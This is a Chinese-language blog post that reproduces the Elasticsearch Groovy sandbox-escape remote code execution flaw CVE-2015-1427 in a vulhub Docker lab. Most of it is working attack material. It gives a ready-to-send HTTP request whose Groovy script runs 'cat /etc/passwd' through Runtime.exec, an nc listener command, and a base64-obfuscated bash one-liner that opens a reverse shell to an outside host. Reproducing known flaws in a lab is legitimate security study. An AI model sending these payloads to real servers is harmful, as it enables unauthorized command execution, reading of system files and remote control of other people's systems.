您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關如何分析ElasticSearch Groovy遠程代碼執行漏洞CVE-2015-1427復現,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
Elasticsearch是一個基于Lucene的搜索服務器。它提供了一個分布式多用戶能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java語言開發的,并作為Apache許可條款下的開放源碼發布,是一種流行的企業級搜索引擎。
2014年爆出過一個遠程代碼執行漏洞(CVE-2014-3120),該漏洞產生原因是由于ElasticSearch使用的腳本引擎支持腳本代碼MVEL作為表達式進行數據操作,攻擊者可以通過MVEL構造執行任意java代碼。
后來腳本語言引擎換成了Groovy,并且加入了沙盒進行控制,危險的代碼會被攔截,結果這次由于沙盒限制的不嚴格,導致遠程代碼執行。
漏洞影響范圍:Elasticsearch 1.3.0-1.3.7 | 1.4.0-1.4.2
本文僅作漏洞復現記錄與實現,利用流程如下:
本文漏洞環境采用vulhub搭建,執行以下命令開啟環境
cd /elasticsearch/CVE-2015-1427 docker-compose build docker-compose up -d
執行完畢后訪問9200端口,顯示如下:
漏洞鏈接:http://192.168.101.152:9200/
利用該漏洞首先需要ElasticSearch存在至少一條數據,發送以下數據包添加數據
POST /website/blog/ HTTP/1.1 Host: 192.168.101.152:9200 Content-Length: 21 { "name": "test" }
返回201表示添加成功,然后發送以下數據包執行命令
POST /_search?pretty HTTP/1.1 Host: 192.168.101.152:9200 Content-Length: 410 {"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}
命令執行成功
為了方便將shell反彈至服務器上
服務器執行nc -lvvp 監聽端口
之后執行以下命令反彈shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzg4NDEgMD4mMQ==}|{base64,-d}|{bash,-i}
成功反彈
以上就是如何分析ElasticSearch Groovy遠程代碼執行漏洞CVE-2015-1427復現,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。